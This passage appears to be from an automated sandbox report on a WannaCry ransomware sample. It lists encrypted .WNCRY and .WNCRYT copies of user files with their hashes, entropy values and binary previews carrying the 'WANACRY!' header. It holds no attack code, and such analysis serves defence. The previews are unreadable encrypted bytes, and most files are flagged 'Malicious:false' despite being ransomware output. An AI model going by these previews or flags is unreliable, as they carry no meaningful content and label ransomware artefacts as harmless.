                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.850849653874516
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkjcPPIddviFr1KunJ4iUHV/oFpd2UsaFr1DpUhkQBi2Svck8/R6o6T8:bkQPPIdVi7/KDwAaFlelsvcZ/MtT8
                                                                                                                                                                              MD5:4D731F03FA147E6A49511D86BBBA04D1
                                                                                                                                                                              SHA1:72C0C23905747FBAEB8A1994557EA49472893BE6
                                                                                                                                                                              SHA-256:4DD7E4F0C0E06206EFC9942998361254B0443F666181BBA571DBD409087E469B
                                                                                                                                                                              SHA-512:CE3ADAA028AFB52892F5A88598B12911C4A4B6635AE8881A551E98B226366F123F2A97AB59D7503881DC3DBD8D89DD7F6C0F87998943EAADF382D490443048EA
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....%.%......B..F......7...\...TL..26X..'.=..)|$.S.7@_.......U.8......M<.......Q<..!...h....r.\.P0_f.."..y...?/.&2.@o..S`]lAaKhW.v..}\...d...[";z..x...c..J.^......xI.V<H.V..N.........Y7...JQh....:F'h.9......Q.n ....h.[..W.3f...._UH.f........)...31'Q.8............+H3=M.D..Z..7.\w3.......M.:..C....9y.Q..b.')(....*.c.dZ.;2.duM#..ie]+..j..pr.].h..k(.V.!....y5z..Q.oE[.....r......u0bw......Q....83z.../.i.)......arDo;.J,..k...A....o....D9..fy....U..dF.v-../....E....-...'...+...].p..B+k..q.Z.o-.p...Pe....!p#-..X.w.Cm.j.Oo......V.xbP#..~....@....68c...FnK.%...S..#+Q.1.u........m........?..~.....>??....\....m#.\D..#....}..m.'..O...q<..........9I.t.kp.&.{...s.|...?7.7.M.TU..k.HB.vNQj1......PW?.....g..r.VG./....R... M....../...L..!.5.ss..F.V...5..4.4M..J.8P.........M.......D............VO..mMNV\..!I.k.z.-..q.....jT........B..U......bB..twF....XQ....]...)Y.MK..T."z>n>...+;(...C...[.Y.0.E...F1HIn..'.:....._.].k"u..x...0....S>..0...F.9..O.........-..;.

                                                                                                                                                                              C:\Users\user\Desktop\EFOYFBOLXA\DUUDTUBZFW.png

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.7853138311866985
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:12:Ikn2dCNMox0YZmawm/pSCkdX/CC/QxaZstiA3SZSgFLK3kR/GV9ultbnxOZDnllf:Ik2Ap0aG4xaZsrinFi945nO7ll5sQj
                                                                                                                                                                              MD5:A6CEF25D09088EDD97089CB6A85494DA
                                                                                                                                                                              SHA1:73BDC9B318475302D2733B5B9F2337BF96D615A1
                                                                                                                                                                              SHA-256:D7D6F2FAFBC883DE6016DEEAB10D144CF91784B9FD1FECFB6002D0BA5DA4AD1A
                                                                                                                                                                              SHA-512:15001A6EA0E784A43C2B09A34EA1AC504BDAA331808978CF4F2324AFE96235B38F2790273102A77C11BB960213D03C756F46B80E8921B99F2E90945632AD97B6
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:.V..\....Z.F.=..5...C;.y..9Q\.i/.P.H.{.Z.7H....I*..4.^J...S...4.#.....U.N....6`.E...h.>.g...E<../...........Dq...>.ft.w..B......[fIb%.<.....}..=(..=@..h..ZG&......{aSr..4.$..H..B..t=..........6W..s..^w......A.v.....DPY..(.Q............*1.`..}..)....8.\=.c...l,.~...,..<s..........>w:....B..n...8..?../...3Fh......r....H..j.u.7...m....=n.... ]w..|iW[....N....R.d;s..#..A^.H.]~..5.P.d..cF85..EV.\..3.a(...]..n; _..EJd.~..Qk#.6z..y..o>..'.;.U..17.f..].x.^....Q...\H......=...1..!..U|I...[1.d......!..:...W.<.rU.)@......c?..ZGu..y.Tq.T.9./q........j.@.e....o+i......O.l..";g9e}....O..).u.z.K.......w.E...P...y.)Q..BN...'.....F..)..1z...H....r[No..Q.....b.l.yn.W..[..S3.7d.]............K....o...{..pd.tC.h._.w.....h@.{..c..p.4!.|cw..................D ..|{..@.Z....R.....}...)...#.*....Z.x<..q..3...T..>..Z.?.@Z.o4..E/.N9....Hw~....gs..@.c.....w..r~E=..'.7....d.a.l.t %.?v.G\..T.S...4t._pE%...7f...S..=4.._S.`.....%....^[.6....E......E.#B .u@.V......O..@.E..Fj......^.

                                                                                                                                                                              C:\Users\user\Desktop\EFOYFBOLXA\DUUDTUBZFW.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.858248920690554
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkI5MPZkG1fdYYOIgMR1X8KzcqDt6rdlEsTCBpZEKQR7JF+YCuLp8Ncgo:bkI5Mld7ONMR1X8IwrdlsEKi7JSNcgo
                                                                                                                                                                              MD5:356554DFF6C3AC8086B6B891021518C4
                                                                                                                                                                              SHA1:ABA543B7C982D0CD2CEBFB6C782F253F42B5B635
                                                                                                                                                                              SHA-256:8DEFB4527192303FA31AAE281A069A6C9CF4D59B71DA73B47744596E39942442
                                                                                                                                                                              SHA-512:5097CDDB45D35C24BE08588D10D56E11480A84F40AC22129122B6F36CBB84DD5BAA8E047BF5D77E502DAF1CC6D36D3535FE1750889BD74F238A71B9CBBD7BAB7
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....}...r.9PM..=....Pn....x&.....'V.vv.Z....V.UA...%.S..6..(.....8o`bWcb.UG+o.Q..2yT.m ..._..{..0...>......*..Z...!$..Q...l..^..ZQ.....8-...{.H........v$:.R.G:"....G.{0.H}....z...2.I.. .N?....%\.j..I.M....U.z.Q.".".t..X.c...-.3....).....L./...,...o.!#.............-......<4).?...$E...'.....}.l..c..5.an.._N...010...vAi..?RZ....(...Fb..R..zR@...l..=.,.[.V\d<.`.3.......p....'.N.....>*>..B..m.m..1.....S.6.,j...M.m..dt>.+....m. .%...@.(.D#[$......a.y.~.Q})..uf.+.q.J.`qP..o.%..........{B.>.....;B.........oh(6.mk...H...M.F.i..L..F....%. .S..O<`.6..O....s|..>3U....7...%3......Akl....m.....c......a`..b..........D._...rB...gQw.p./...j8...5.x].PD....@Y......7.d..C.m.a...K..."B....I...e4....+....y..D..2...d.6p..A..Hz..l.~.+V.....xcz.2X.w....OEE...'.M....6.l.!.e...?.@U.&...%...=.Ne..K...^.....S....Q2k.|..;...xQ.cM.{j.(..-.0..>..fNm.......2%.|p..@.......?(Nyu.}...?.n..7..&.i._-~~v1..W.\a.....e.x........t.q..V21.m.e.b=....&9.X.....c.....s.u.S..z...

                                                                                                                                                                              C:\Users\user\Desktop\EFOYFBOLXA\DUUDTUBZFW.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.858248920690554
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkI5MPZkG1fdYYOIgMR1X8KzcqDt6rdlEsTCBpZEKQR7JF+YCuLp8Ncgo:bkI5Mld7ONMR1X8IwrdlsEKi7JSNcgo
                                                                                                                                                                              MD5:356554DFF6C3AC8086B6B891021518C4
                                                                                                                                                                              SHA1:ABA543B7C982D0CD2CEBFB6C782F253F42B5B635
                                                                                                                                                                              SHA-256:8DEFB4527192303FA31AAE281A069A6C9CF4D59B71DA73B47744596E39942442
                                                                                                                                                                              SHA-512:5097CDDB45D35C24BE08588D10D56E11480A84F40AC22129122B6F36CBB84DD5BAA8E047BF5D77E502DAF1CC6D36D3535FE1750889BD74F238A71B9CBBD7BAB7
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....}...r.9PM..=....Pn....x&.....'V.vv.Z....V.UA...%.S..6..(.....8o`bWcb.UG+o.Q..2yT.m ..._..{..0...>......*..Z...!$..Q...l..^..ZQ.....8-...{.H........v$:.R.G:"....G.{0.H}....z...2.I.. .N?....%\.j..I.M....U.z.Q.".".t..X.c...-.3....).....L./...,...o.!#.............-......<4).?...$E...'.....}.l..c..5.an.._N...010...vAi..?RZ....(...Fb..R..zR@...l..=.,.[.V\d<.`.3.......p....'.N.....>*>..B..m.m..1.....S.6.,j...M.m..dt>.+....m. .%...@.(.D#[$......a.y.~.Q})..uf.+.q.J.`qP..o.%..........{B.>.....;B.........oh(6.mk...H...M.F.i..L..F....%. .S..O<`.6..O....s|..>3U....7...%3......Akl....m.....c......a`..b..........D._...rB...gQw.p./...j8...5.x].PD....@Y......7.d..C.m.a...K..."B....I...e4....+....y..D..2...d.6p..A..Hz..l.~.+V.....xcz.2X.w....OEE...'.M....6.l.!.e...?.@U.&...%...=.Ne..K...^.....S....Q2k.|..;...xQ.cM.{j.(..-.0..>..fNm.......2%.|p..@.......?(Nyu.}...?.n..7..&.i._-~~v1..W.\a.....e.x........t.q..V21.m.e.b=....&9.X.....c.....s.u.S..z...

                                                                                                                                                                              C:\Users\user\Desktop\EFOYFBOLXA\EFOYFBOLXA.docx

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.8041692841409205
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:tAijG9PEAUwiEI1Hsw1HRI6DAB4Tr1rYx:tRCQtH1HpIaTo
                                                                                                                                                                              MD5:0E4EBBEC7892AF6EE71E7B70B0554116
                                                                                                                                                                              SHA1:E0BB6524309E5DA53BC469ED8CAAA875B60E1EA3
                                                                                                                                                                              SHA-256:A6F9FD5EB4BD2BD65E688B831F8E1E44F22A23079C4647C980BCB605C17E32D7
                                                                                                                                                                              SHA-512:B69B95B952EDDA926F8B77B4A8C66D46796F24F7C87644B68332176DB49C27B26EDD43EF62DE37BDAC1859D3102FB6532E2A70AD37CD6147CE42830F00DA5EA1
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:!.n...#Su...OW.z..t...&......8KN.;.O.7^Y..\.XVU...LX.s..L<.%._9........$..8.[.F..UY..;f\.>.......R..[.Fz>....0.....vnII.wS....6.Kc..A.{.K..I[.}K3.$...!..$.B.a.Q.-.....Rz.{M&....rh./."cTr!.[I)N.).KR.F.$.....4L2DIN4.5K,...z.f.~....H...k*..a...?)f[.*.....8.gh..r.........th..{.....O.<....P..F.Mg..g~.f...Z&.'.b#.m...*..4i/%...z....n.<....{.6..`.....b.C.1.S..........2.*...7cX.. bn..s`..{...VB.f.9.G)o!.<HKsn....p.U.o..q...Y.!2...\.5.:.C.x.6.<.Fs.B.......s.o.`}s...D^x..IR..........H.....!.....~$..>.ay.9mC.d...CD..&_xD.S2.....Z+N|6.$..........%h...z....U|.Y..]}{...]d(.QMs.I..x....(.f....a.I;S.2=.E.<,....,.p.~....ne.$X...TV.UF.....v.%..@2n .F...e.o$.....t..=bVljd.........[+......@./...q...iw7(.JFx=.zt.e..C.V.:.bb7...v%..H&..R.X.;]....~2..0b..(....r.!<".r...6/X..0s.@.>z...'..KKy.0.9.l.."z..$/..v:..@t..=G>..{....9G#v..Tyk?*#X.+...w..I......q..z.bV..i..JR.E~..x..x..;?.fS.p.!d...:..[..s.}.....%).im:J....Y5,l.w.N.%..6..1...a......P.}....=q{!.X...t6.~o[

                                                                                                                                                                              C:\Users\user\Desktop\EFOYFBOLXA\EFOYFBOLXA.docx.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.865833688702412
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkNY4m/R94cyPhff905ezsppZUJux2pIgutWPYlaGm0Qp2OP8dwV:bkobfyPht05egppZUJuxZgwWkp4xkde
                                                                                                                                                                              MD5:DBC1AFF60E075EC5B0F9F270CA1A9403
                                                                                                                                                                              SHA1:5170D703E16F5BCB3F2458EBB6C674DBC5FF5B1C
                                                                                                                                                                              SHA-256:EDD946F853D37A5DA7CF2E6975F86C17B4F514390196B19F8B33159EFAE91FD2
                                                                                                                                                                              SHA-512:B0B2C5DF411527BC51EBEB81D64DDB975948ABAD4FCBF549E66959C311A7F57520C4F17833B8E4C0533E043A427AB5C2000A1ACE2B5A06898B88E9CD1DB1CE8B
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....-.....g%Q.......X..P.z......u.J...i.N..,..y.(.w.B.o..{7)......f.|S+."T.s5!.I.qn|.1Of. .k.~..(|....rmsm3.RI.....yj.Rr7R...2.<..4.n:F.l......c..<lZ..?..x.....0.j..|7...-L B....`...qP.vl..y&..A/..Q(.&..m.$.r...o...u...s2h.D.mW..Hr.."#..G...U.............*..+H..$....U.<kc5...+...|F.......t..{.....W%....1.;Y......'...p...ps.;.YS.I(@R.H..eK.....HR......d....Z[U:.e..A[...i...a.uc..Q....a...a%.[.H.2.|.^F...S. ..0...!.......s.H..wp.p8...4.+8....;..[ul;..?.../.3)......../...eQr....-X.n....gd..T.2.VL.......G;.:.|..S2\.:...l-....-.//.+....^..\.)...tY.]....q..S`s,s. Oj..Y.J...D'......Y.f.e=(..L.v.,@Z.;..vD.~`.....Z..P..XMy.dYaG.*a...&...N.VjM.4.`.f &..o.Ww5.Y;..2...w0...<.f....lm.....(..5..\.v.p....+_k...8{.\L......SHd....X..S$..#.-x....0..@....b ....!.....@KL..+N~e..4..X{|....BI$.l..N.G.=.Z...?..`-.......I3...........=.>.A..)..H.x%...@...$'W......l.2......Nd....O..;.....^..5.....k.....!...0.W...{.Z.B.p...]..z(.....9.....:.......~...

                                                                                                                                                                              C:\Users\user\Desktop\EFOYFBOLXA\EFOYFBOLXA.docx.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.865833688702412
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkNY4m/R94cyPhff905ezsppZUJux2pIgutWPYlaGm0Qp2OP8dwV:bkobfyPht05egppZUJuxZgwWkp4xkde
                                                                                                                                                                              MD5:DBC1AFF60E075EC5B0F9F270CA1A9403
                                                                                                                                                                              SHA1:5170D703E16F5BCB3F2458EBB6C674DBC5FF5B1C
                                                                                                                                                                              SHA-256:EDD946F853D37A5DA7CF2E6975F86C17B4F514390196B19F8B33159EFAE91FD2
                                                                                                                                                                              SHA-512:B0B2C5DF411527BC51EBEB81D64DDB975948ABAD4FCBF549E66959C311A7F57520C4F17833B8E4C0533E043A427AB5C2000A1ACE2B5A06898B88E9CD1DB1CE8B
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....-.....g%Q.......X..P.z......u.J...i.N..,..y.(.w.B.o..{7)......f.|S+."T.s5!.I.qn|.1Of. .k.~..(|....rmsm3.RI.....yj.Rr7R...2.<..4.n:F.l......c..<lZ..?..x.....0.j..|7...-L B....`...qP.vl..y&..A/..Q(.&..m.$.r...o...u...s2h.D.mW..Hr.."#..G...U.............*..+H..$....U.<kc5...+...|F.......t..{.....W%....1.;Y......'...p...ps.;.YS.I(@R.H..eK.....HR......d....Z[U:.e..A[...i...a.uc..Q....a...a%.[.H.2.|.^F...S. ..0...!.......s.H..wp.p8...4.+8....;..[ul;..?.../.3)......../...eQr....-X.n....gd..T.2.VL.......G;.:.|..S2\.:...l-....-.//.+....^..\.)...tY.]....q..S`s,s. Oj..Y.J...D'......Y.f.e=(..L.v.,@Z.;..vD.~`.....Z..P..XMy.dYaG.*a...&...N.VjM.4.`.f &..o.Ww5.Y;..2...w0...<.f....lm.....(..5..\.v.p....+_k...8{.\L......SHd....X..S$..#.-x....0..@....b ....!.....@KL..+N~e..4..X{|....BI$.l..N.G.=.Z...?..`-.......I3...........=.>.A..)..H.x%...@...$'W......l.2......Nd....O..;.....^..5.....k.....!...0.W...{.Z.B.p...]..z(.....9.....:.......~...

                                                                                                                                                                              C:\Users\user\Desktop\EFOYFBOLXA\EOWRVPQCCS.mp3

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.82590768320975
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:7Tz2Fqm7NOU+jbF4JgtdacNOT/WvqduknVeEdk3Z3cx:7f2PUU+jCqmWOIqd432x
                                                                                                                                                                              MD5:A6774807549492B2D20AF20FAAF676DC
                                                                                                                                                                              SHA1:7A73C3DCA76936BD633CBA12D9F3946E932AFE7C
                                                                                                                                                                              SHA-256:7626AC54702D6AD7B0C587E13775E40ADAA5CA3EA5AC0CE3912B67D7F9BEDF1D
                                                                                                                                                                              SHA-512:46F3FF264A501C26E6979F50D0C3976C405DFE70EE3CCAF3584B9422B05F0114B8B6BEF2666E05F715EA5A4E01852E9733020E7A7E1EB49322494464CDF25BD4
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:8B........b=t.).U.7<...,.....5....i.....3'.f.j....L*..1.wr5.M..6..4U.$y.<...&V:..9~+.Ib.+#.._R.KV3.C...%fH%ko'..C.N....@`jk..........c...6..\I.....X%...Y.xy&\.9\:...@v..Yi......K......?O..Iv...&..)v....`@e..f.O....q.zC]...V...|.7I..d.`&.._.<.8...C.%...R~.\...,...7.G.()..F......b......-...H.sr.y.$AU..\`....#......iY..N..x.F1c'.<?.\...ZS0.r.0tW.X.u{..;..D..<........q.. .......{M..h.xWuM.U...?X.e..\..ax.t..b...G.=f...f.i..6.*..8......W(M..?p(e.K.l......l.H....W.....Z..;:U.Qk.....,...J.I.rT..@M/....Rg8...C...."H...TYG.+.".G/Uj.$.._ck.4DL.....kW`.#.....T..".+..N-B...2.y..O..D.KE.@.x...O%n.9b_q g.EV'y.......(...X'zs.$..uE.6.m*..D>....1.../g.#.`......mD.5t...?$....X.P.p...Bz..... 3..Zp..,.Y.j..fp"q.@.......k.n......#.Hfc...#...a.:..~..B...l...Y+...M.!R.0mf8.K<7sU..V.. .EI..}I)i#....!..(o,.^....K.~{.Sn..._..^..!.y.4..&~...:M...q..Z..W.........q.s<..I.._..S.E.P...Hz.r.u<..J..2V.. ...y.).II. 8'c....9DA#..+.;.T..cj..H....q].-o...x.}.}..x..a......._.a

                                                                                                                                                                              C:\Users\user\Desktop\EFOYFBOLXA\EOWRVPQCCS.mp3.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.834615679230227
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkPygVsm+wsplvDdkZzO4KB45w61ueE1Bh2XtU1vOueebFD+rgnRpXqaWLuVt:bkPT8dxy5w61uesQXtJueYwCKO
                                                                                                                                                                              MD5:F553C065C8559539382A13E6B06F1275
                                                                                                                                                                              SHA1:B5211EF68D2395F40ACA80EB7F50E5961C7537CA
                                                                                                                                                                              SHA-256:46541D3309123E1B854484B1597AF5FCB69DF29988F6EDA2E37E6B76B72C8500
                                                                                                                                                                              SHA-512:86016108FB6D6D6CD515DEFDC024CAE707EE9589FB4D7B54144B180BD4F662750F8A75FED85714B41EA3998C1404337DB95C61DBF09210CBD8F0AE341DA15BB5
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......puf.....~.m..F....+....Q....S...P. t@....)..m......:eT6.hT.{.:.V.sOu..^.}.......Z."H&U.p.Q.m.h8.......u.O.].`e..k.Z.@.X..c..{....%...+.]Ve.Rn..w..N..|.FB.,....5....b?E...\..#fh"...&......y.WmE.h.X.R+...C.$.:ln.5O..<......MC.7.qf"....^+..............5..o..I..d.)O).(....Y.E.......q..WgO.....@...,W..o..~..h.M....Y....a.MU@:2.=.N1..."E}.G..7#......d9#Av..0.C..i..<|..t1.{6..$...Aw.]g../U..;.S.j%e~.+......O.....lY}%x.Q57G&.9z\.i`....9.{.VN.*.........}....#fi.Hz..e.;G.Y(...)..s(j$....c....\.,JB..2.,..".i...?pr.U....{..A....'..\B-.OHM..<Lz.....o...PN.c.2....<.....S..d..P...Y..1S....>:..iY@..p.2...`./vw.hQ..,...\....PBFH.)h19.....q...A..?.f.P....R....l..O..i.T9..~.A..T..!c?...)1....|f....2...i.-..Cy4}.....X.}V.I..b.\...2...S......{.............rj.FV..Z..^...4.......{q...b.qH.W.....}.......j..w..fa.I..%.|.&vPl...........lj'{&.?..*d..o..oWPj.v..o5..#..n.2..l.\...M.....O.q.W.gS.....Ta]_.....x.R@...........eF..i.kmBrN...=<

                                                                                                                                                                              C:\Users\user\Desktop\EFOYFBOLXA\EOWRVPQCCS.mp3.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.834615679230227
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkPygVsm+wsplvDdkZzO4KB45w61ueE1Bh2XtU1vOueebFD+rgnRpXqaWLuVt:bkPT8dxy5w61uesQXtJueYwCKO
                                                                                                                                                                              MD5:F553C065C8559539382A13E6B06F1275
                                                                                                                                                                              SHA1:B5211EF68D2395F40ACA80EB7F50E5961C7537CA
                                                                                                                                                                              SHA-256:46541D3309123E1B854484B1597AF5FCB69DF29988F6EDA2E37E6B76B72C8500
                                                                                                                                                                              SHA-512:86016108FB6D6D6CD515DEFDC024CAE707EE9589FB4D7B54144B180BD4F662750F8A75FED85714B41EA3998C1404337DB95C61DBF09210CBD8F0AE341DA15BB5
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......puf.....~.m..F....+....Q....S...P. t@....)..m......:eT6.hT.{.:.V.sOu..^.}.......Z."H&U.p.Q.m.h8.......u.O.].`e..k.Z.@.X..c..{....%...+.]Ve.Rn..w..N..|.FB.,....5....b?E...\..#fh"...&......y.WmE.h.X.R+...C.$.:ln.5O..<......MC.7.qf"....^+..............5..o..I..d.)O).(....Y.E.......q..WgO.....@...,W..o..~..h.M....Y....a.MU@:2.=.N1..."E}.G..7#......d9#Av..0.C..i..<|..t1.{6..$...Aw.]g../U..;.S.j%e~.+......O.....lY}%x.Q57G&.9z\.i`....9.{.VN.*.........}....#fi.Hz..e.;G.Y(...)..s(j$....c....\.,JB..2.,..".i...?pr.U....{..A....'..\B-.OHM..<Lz.....o...PN.c.2....<.....S..d..P...Y..1S....>:..iY@..p.2...`./vw.hQ..,...\....PBFH.)h19.....q...A..?.f.P....R....l..O..i.T9..~.A..T..!c?...)1....|f....2...i.-..Cy4}.....X.}V.I..b.\...2...S......{.............rj.FV..Z..^...4.......{q...b.qH.W.....}.......j..w..fa.I..%.|.&vPl...........lj'{&.?..*d..o..oWPj.v..o5..#..n.2..l.\...M.....O.q.W.gS.....Ta]_.....x.R@...........eF..i.kmBrN...=<

                                                                                                                                                                              C:\Users\user\Desktop\EFOYFBOLXA\GRXZDKKVDB.xlsx

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.802925683268583
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:gXJTjdSYUwzAra5TKv1aBYxZNHT/fes44y9JPqZm59WC0g0:gfC+PTKtaBYZNHT/WM0qZmTJa
                                                                                                                                                                              MD5:7451CD2D6E9A59E6271FA390EBBC69B9
                                                                                                                                                                              SHA1:4B67C3CFD7CC450CCD32FF435505ADBC292DBEE6
                                                                                                                                                                              SHA-256:055ADB827ABD6265528BB8440260664E61AD8A6E6F514C7D183EBCAABE858BED
                                                                                                                                                                              SHA-512:1707EAB7AE6C86267F84A0ADE8E05023F4825C7B36BF386FF97921C48E87BA9CD11F0CE3FC1DCB33E3FBB571BDC4DF8DD84AB4881E09315D2C075D936B8066E0
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:..z..$....LB..'.>.Z.;..K^g....$u,l.z.ae..N.5.Y.U...+.'....@E.:v..~.\Qa.....././r".C.>....2..=?..va.']1......+(u..@.*&.q3@...o.!fG.....j.|..6%8c..M.m.A...<b.Pr.A.nK .#i.\.)..f.e..U....?r.A.0x..BM4*....O.j$...u.wZTB|._uB..c..p... ..M..>Yz..9[H..W.^YO.<+1.}...0.Ty<.:u..$.L..b......:O.Y..37.ui!q..?......X.S.U3...v%6..i..:.L.-.........4..9+..0...2.X.%.,..|.'2e.O...@.G..>....r&_.H..C{ds......Ac..-.....+eV.\.||...9%...RR....o...%4.8..9i....S.8.k..%....9.....Hj.@I~.AR*..e........_.}QvG.......'...@$.LA7~.....[..w..9.........%Eug'..}.*3....f.}.....xko..u|...n.n....p.Eb..(..q .]..tu.}^a.....`|..@....R.Hx...zx).#...G...9.."..qCP...&...!...o?E.7.T.-.`.C.%.(..l..{...n....JC.`..m..HW...?*.....<2y1R.%.lf.......e.....J.B+.0*..*....;...._Z....'.y.Qv..Hs...$n...=.F./.K...H......@...T..,.....H........m...{....^v+.m.y&........ 2....5*..>..Zs......f....^......%...}.OW...O.}G..........?c.7..}0|F../z.Gw..H]........XU..Y.#1(......OD....B....<*F...*..c.Dv.......~t/...H..S

                                                                                                                                                                              C:\Users\user\Desktop\EFOYFBOLXA\GRXZDKKVDB.xlsx.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.827939412606485
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk626R6+Iz9FEBUV/9HysgAwkBTzPqeBD4l4NUIQ5mriFyeA252jwxU4sNQk:bk36RnIb8UV9ysbwC7c4NUj5mGFyrPDx
                                                                                                                                                                              MD5:CC498B43746A756FA05D2A64036A233D
                                                                                                                                                                              SHA1:B8A413FEE8D9DC82EBB61FC67B81AFCDEDF59191
                                                                                                                                                                              SHA-256:68531C145B2514F9F7F25D6DD3458D0BFCFCD023331048A232034269CC47EC59
                                                                                                                                                                              SHA-512:5E0BCE41B4312E65BFF9EA9453E36E98EF1619CC1AE50AE6B7EE22656C102041B8567EF2F151F3D10105B437D7E7A308E0C80FF93FC3E0A23084F473578EA644
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....1.....y..eN.....S..`r.........|.Ai./E-....R=.c>b..$....TT.9.O.\-l.&V..'......&.IC..F...m|..V..x...6.jo.ejV.6.u..*=.4.4v....<..e.^n..1O.d...9.....tM..H..C.d1EA..S.]e.E. .3...U...6.h.<.4..h&...2.tDz.i...7.l..{.DnI....de:.,...J.........JL.............;..W. .Y....8Q.R._.F:.i.z...L,.`.Oe.t..2.~....Q|.#............_K..{f....._...g.*..P_>|..y............Xg]u.;......+n.sR.s..|...WX..2...EY..4 6D.-.P..1......4..W..........#'@q.#{..C..V...N..0Cy...F.......R....5..[...U.$..].....T,.$.+@. ...q..1V....!....v.sC....Q...h...qsV./..2Hj.'.')..7...q.r..!BA...&I=.G+4I..%.O...:e...i.o....'....%k2rE...IW"`B=....3a.....I...y....B..mfq..t..........^!....N@...C.l...,..Px:yCt.p"...:XV:.\.9.....n.\.x....f.W-..{YqFw[.n..=..3...5.....k.C9....T..j...h.D.3N.8.......D..D...x.j+.A...G.'....pT.c}..DI.*l9U.K...Q....g...KbD.D....m6`.g..........#tx...........M...mi,+"T..4.N.&T....5....n...bP.o@..........WLXf..._d...V@[..%>).+.sj8.|(a..%.../R..6..ME0....'..)

                                                                                                                                                                              C:\Users\user\Desktop\EFOYFBOLXA\GRXZDKKVDB.xlsx.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.827939412606485
                                                                                                                                                                              Encrypted:false
